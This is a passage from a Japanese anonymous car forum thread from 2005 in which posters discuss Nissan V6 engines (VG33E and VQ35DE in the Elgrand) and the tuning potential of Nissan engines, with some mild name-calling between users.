まあ、ほかがあれだけどな、
514:名無しさん＠そうだドライブへ行こう
05/09/15 06:55:57 use9vgi20
Ｅ５０エルグランドがＭＣでＶＧ３３ＥからＶＱ３５ＤＥに変更されたとき
同じＶ６エンジンなのか？って思うくらい静かでパワフルで
日産もやれば出きるじゃんって思ったけど、その感動が今は失われつつあるね。
ＶＱ３５ＤＥはエルグランド専用で良かったのにな～
515:名無しさん＠そうだドライブへ行こう
05/09/15 10:51:46 +TWPeVrM0
日産は糞エンジンでも磨けば光るんである。
L型チューンが代表的。
SRにしてもポテンシャルは4G63やEJ20に負けていない。
516:名無しさん＠そうだドライブへ行こう
05/09/15 11:19:29 bRhixJUD0
>>510
VQ35DEって型番ならみんな同じと思ってる馬鹿か。
餌のついていない針落としても食う奴なんかほとんど居ないぞｗ